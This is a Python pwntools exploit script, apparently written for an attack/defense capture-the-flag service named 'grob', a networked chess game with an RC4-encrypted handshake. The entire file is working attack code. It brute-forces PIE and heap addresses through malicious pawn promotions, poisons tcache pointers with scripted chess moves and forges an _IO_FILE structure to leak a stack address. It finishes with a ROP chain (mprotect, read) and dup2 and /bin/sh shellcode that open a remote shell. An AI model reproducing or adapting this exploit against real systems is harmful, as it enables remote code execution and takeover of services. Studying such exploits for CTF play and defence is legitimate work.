from sys import argv
from io import StringIO

from pwn import *
from Crypto.Cipher import ARC4
import chess
import chess.pgn
from threading import Thread

context.log_level = 'warn'
exe = context.binary = ELF('grob')

HOST = argv[1]
PORT = 11331

def u128(n, *args, **kwargs):
    return unpack(n, *args, word_size=128, **kwargs)

def p128(n, *args, **kwargs):
    return pack(n, *args, word_size=128, **kwargs)

class arc4tube(remote):
    MODULO = (1 << 128) - 159

    def __init__(self, *a, **kw):
        super().__init__(*a, **kw)

        priv = u128(random.randbytes(16))
        pub = pow(5, priv, self.MODULO)

        server_pub = u128(self.recvn(16))
        self.send(p128(pub))

        cph = ARC4.new(p128(pow(server_pub, priv, self.MODULO)))

        self.recv_raw = lambda *a, **kw: cph.encrypt(data) if (data := super(arc4tube, self).recv_raw(*a, **kw)) else b''
        self.send_raw = lambda data, *a, **kw: super(arc4tube, self).send_raw(data and cph.encrypt(data), *a, **kw)
    
    def recvn_plain(self, n):
        self.recv_raw = super(arc4tube, self).recv_raw
        return super().recvn(n)

    def send_plain(self, d):
        self.recv_raw = super(arc4tube, self).recv_raw
        self.send_raw = super(arc4tube, self).send_raw
        return super().send(d)


def enter_room(io1, io2):
    room_pass = room_code = randoms(16).upper().encode()

    io1.send(p8(1) + room_code)
    assert io1.recvn(1) == p8(0)
    sleep(.1 / 2)
    io2.send(p8(1) + room_code)
    assert io2.recvn(1) == p8(0)

    io1.send(room_pass)
    assert io1.recvn(1) == p8(0)
    return room_code

def start():
    return arc4tube(HOST, PORT)

def pgn_iter(pgn):
    pgn = chess.pgn.read_game(StringIO(pgn))
    board = chess.Board()
    for move in pgn.mainline_moves():
        from_sq = move.from_square
        to_sq = move.to_square

        row_from = 7 - (from_sq // 8)
        col_from = from_sq % 8
        row_to = 7 - (to_sq // 8)
        col_to = to_sq % 8

        yield (row_from, col_from, row_to, col_to, 0, 0)
        board.push(move)


def guess_byte(offset, byte, set_color):
    with start() as io1, start() as io2:
        enter_room(io1, io2)

        color = u8(io1.recvn(1))
        io2.recvn(1)

        if not color:
            io1, io2 = io2, io1

        base = list(pgn_iter('1. a4 h5 2. a5 h4 3. a6 h3 4. axb7 hxg2'))
        if set_color:
            base += [(1, 1, offset // 8, offset % 8, 1, byte)]  # bxa8=
        else: 
            base += [(6, 1, 5, 1, 0, 0)]                        # b3
            base += [(6, 6, offset // 8, offset % 8, 1, byte)]  # gxh1=

        order = True
        for cord in base:
            p = flat([0, *cord], word_size=8)
            if order:
                io1.send(p)
                assert u8(io1.recvn(1)) == 0
                io2.recvn(7)
            else:
                io2.send(p)
                assert u8(io2.recvn(1)) == 0
                io1.recvn(7)
            order = not order


def leak_pie():
    """Just a linear PIE address bruteforce (history->vtable)"""
    addr = bytearray(p64(0))
    addr[0] = exe.sym['_IO_file_jumps'] & 0xff

    def brute_byte(i):
        context.log_level = 'warn'
        rng_args = (exe.sym['_IO_file_jumps'] >> 8 & 0xf, 0x100, 0x10) if i == 1 else (0x100,)
        for b in range(*rng_args):
            try:
                guess_byte(296 + i, b, 1)
            except EOFError:
                continue
            except AssertionError:
                try:
                    guess_byte(296 + i, b, 0)
                except EOFError:
                    continue

            addr[i] = b
            break
        else:
            raise Exception('Bad PIE leak')

    tds = {}
    for i in range(1, 6):
        tds[i] = Thread(target=brute_byte, args=(i,))
        tds[i].start()

    for i in range(1, 6):
        tds[i].join()

    return u64(addr)


def leak_heap():
    """Just a linear heap address bruteforce (history->_IO_write_ptr)"""
    addr = bytearray(p64(0))

    def brute_byte(i):
        context.log_level = 'warn'
        rng_args = (0, 0x100, 0x10) if i == 1 else (0x100,)
        for b in range(*rng_args):
            try:
                guess_byte(120 + i, b, 1)
            except EOFError:
                continue
            except AssertionError:
                try:
                    guess_byte(120 + i, b, 0)
                except EOFError:
                    continue
        
            addr[i] = b
            break
        else:
            raise Exception('Bad heap leak')

    tds = {}
    for i in range(1, 6):
        tds[i] = Thread(target=brute_byte, args=(i,))
        tds[i].start()

    for i in range(1, 6):
        tds[i].join()

    return u64(addr)
                

def leak_stack(heap_base):  
    """Leaks stack via history _IO_FILE structure (controllable by arb allocation),
    assumes that PIE already leaked. I know it also can be leaked with heap primitives only"""

    with start() as io1, start() as io2:
        enter_room(io1, io2)

        color = u8(io1.recvn(1))
        io2.recvn(1)

        if not color:
            io1, io2 = io2, io1
        
        # Allocate 2 chunks with 2 messages
        for _ in range(2):
            io2.send(flat([p8(1), p16(0x100), cyclic(0x100)]))
            assert u8(io2.recvn(1)) == 0
        
        # Free allocated chunks
        io1.send(p8(2))
        msg_cnt = u8(io1.recvn(1))
        for _ in range(msg_cnt):
            msg_len = u16(io1.recvn(2))
            io1.recvn(msg_len)

        # Some PPC here, writing qword in `tcache_entry->next` with chess moves...
        offset = 0x230
        old_value = p64((heap_base + 0x1a70) ^ ((heap_base >> 12) + 1))[:-2]
        value = p64((heap_base + 0x1760) ^ ((heap_base >> 12) + 1))[:-2]

        base = list(pgn_iter('''
1. e4 f5 2. Ke2 Kf7 3. Kf3 Kg6 4. Kg3 Kh6 5. Kh3 a5 6. b4 a4 7. b5 a3 8. b6 Ra7 9. bxa7 b5 10. Bb2 axb2
11. a4 b4 12. a5 b3 13. a6 Bb7 14. axb7 c5 15. Ra2 bxa2 16. d4 c4 17. d5 c3 18. d6 Qc7 19. dxc7 d5 20. Nd2 cxd2
21. c4 d4 22. c5 d3 23. c6 Nd7 24. Qc2 dxc2 25. cxd7 f4 26. e5 f3 27. e6 Nf6 28. Be2 fxe2 29. f4 Ne4 30. f5 Nd6
31. f6 Nf7 32. exf7 e5 33. Nf3 e4 34. Ne5 e3 35. Nd3 Be7 36. Nf2 exf2 37. fxe7 
'''))

        order = False
        pos = ([(6, i) for i in range(6)], [(1, i) for i in range(6)])
        for i, b in enumerate(value):
            if ((old_value[i] & 0xf0) >> 4) == int(order):
                base += [(*pos[int(order)][i], 0, 0, 1, 0x20)]
                base += [(*pos[int(not order)][i], offset // 8, offset % 8, 1, b)]
            else:
                base += [(*pos[int(order)][i], offset // 8, offset % 8, 1, b)]
                order = not order

            offset += 1

        order = True
        for cord in base:
            p = flat([0, *cord], word_size=8)
            if order:
                io1.send(p)
                assert u8(io1.recvn(1)) == 0
                io2.recvn(7)
            else:
                io2.send(p)
                assert u8(io2.recvn(1)) == 0
                io1.recvn(7)
            order = not order

        # Clear top tcache bin chunk
        io2.send(flat([p8(1), p16(0x100), cyclic(0x100)]))
        io2.recvn(1)

        # Allocate on _IO_FILE (we alse may want to leak by 2 bytes at time
        # to prevent net filtration by stack addr)
        fs = FileStructure()
        fs.flags = 0x0002 | 0x0800
        fs.fileno = 6 if color else 4
        fs._lock = heap_base
        fs._IO_read_end = fs._IO_write_base = exe.sym['environ']
        fs._IO_write_end = fs._IO_write_ptr = fs._IO_write_base + 0x6
        fs.vtable = exe.sym['_IO_file_jumps']

        io2.send(flat([p8(1), p16(0x100), {
            4: bytes(fs),
            0x100: b''
        }]))
        return u64(io2.recvn_plain(6) + p16(0))


def alloc_on_stack_and_rop(heap_base, retaddr):
    """Same as `leak_stack` but on allocates on stack now"""

    with start() as io1, start() as io2:
        enter_room(io1, io2)

        color = u8(io1.recvn(1))
        io2.recvn(1)

        if not color:
            io1, io2 = io2, io1
        
        # Allocate 2 chunks with 2 messages
        for _ in range(2):
            io2.send(flat([p8(1), p16(0xa0), cyclic(0xa0)]))
            io2.recvn(1)
        
        # Free allocated chunks
        io1.send(p8(2))
        msg_cnt = u8(io1.recvn(1))
        for _ in range(msg_cnt):
            msg_len = u16(io1.recvn(2))
            io1.recvn(msg_len)

        # Some PPC here, writing qword in `tcache_entry->next` with chess moves...
        offset = 0x230
        old_value = p64((heap_base + 0x1a70) ^ ((heap_base >> 12) + 1))[:-2]
        value = p64(retaddr ^ ((heap_base >> 12) + 1))[:-2]

        base = list(pgn_iter('''
1. e4 f5 2. Ke2 Kf7 3. Kf3 Kg6 4. Kg3 Kh6 5. Kh3 a5 6. b4 a4 7. b5 a3 8. b6 Ra7 9. bxa7 b5 10. Bb2 axb2
11. a4 b4 12. a5 b3 13. a6 Bb7 14. axb7 c5 15. Ra2 bxa2 16. d4 c4 17. d5 c3 18. d6 Qc7 19. dxc7 d5 20. Nd2 cxd2
21. c4 d4 22. c5 d3 23. c6 Nd7 24. Qc2 dxc2 25. cxd7 f4 26. e5 f3 27. e6 Nf6 28. Be2 fxe2 29. f4 Ne4 30. f5 Nd6
31. f6 Nf7 32. exf7 e5 33. Nf3 e4 34. Ne5 e3 35. Nd3 Be7 36. Nf2 exf2 37. fxe7 
'''))

        order = False
        pos = ([(6, i) for i in range(6)], [(1, i) for i in range(6)])
        for i, b in enumerate(value):
            if ((old_value[i] & 0xf0) >> 4) == int(order):
                base += [(*pos[int(order)][i], 0, 0, 1, 0x20)]
                base += [(*pos[int(not order)][i], offset // 8, offset % 8, 1, b)]
            else:
                base += [(*pos[int(order)][i], offset // 8, offset % 8, 1, b)]
                order = not order

            offset += 1

        order = True
        for cord in base:
            p = flat([0, *cord], word_size=8)
            if order:
                io1.send(p)
                assert u8(io1.recvn(1)) == 0
                io2.recvn(7)
            else:
                io2.send(p)
                assert u8(io2.recvn(1)) == 0
                io1.recvn(7)
            order = not order

        # Clear top tcache bin chunk
        io2.send(flat([p8(1), p16(0xa0), cyclic(0xa0)]))
        io2.recvn(1)

        # ROP
        fd = 6 if color else 4
        rop = ROP(exe)
        rop.call('mprotect', [heap_base, 0x1000, 7])
        rop.call('read', [fd, heap_base, 0xa0])
        rop.call(heap_base)

        io2.send(flat([p8(1), p16(0xa0), {
            4 + 8: [
                bytes(rop)
            ],
            0xa0: b''
        }]))
        io2.send_plain(
            asm(shellcraft.dup2(fd, 0))
            + asm(shellcraft.dup2(fd, 1))
            + asm(shellcraft.sh())
        )
        io2.interactive()


def pwn():
    def leak_pie_thread():
        exe.address = leak_pie() - exe.sym['_IO_file_jumps']

    def leak_heap_thread():
        global HEAP_BASE
        HEAP_BASE = leak_heap()

    td1 = Thread(target=leak_pie_thread)
    td1.start()
    td2 = Thread(target=leak_heap_thread)
    td2.start()
    td1.join()
    td2.join()

    # In A/D we really want to cache leaks

    global HEAP_BASE
    try:
        STACK_ADDR = leak_stack(HEAP_BASE)
    except EOFError:
        HEAP_BASE -= 0x1000  # handle case of 0xf000 heap layout (cuz _IO_FILE at more than page size offset)
        STACK_ADDR = leak_stack(HEAP_BASE)

    retaddr = STACK_ADDR - 0x4e0 - 0x18
    alloc_on_stack_and_rop(HEAP_BASE, retaddr)

if __name__ == '__main__':
    pwn()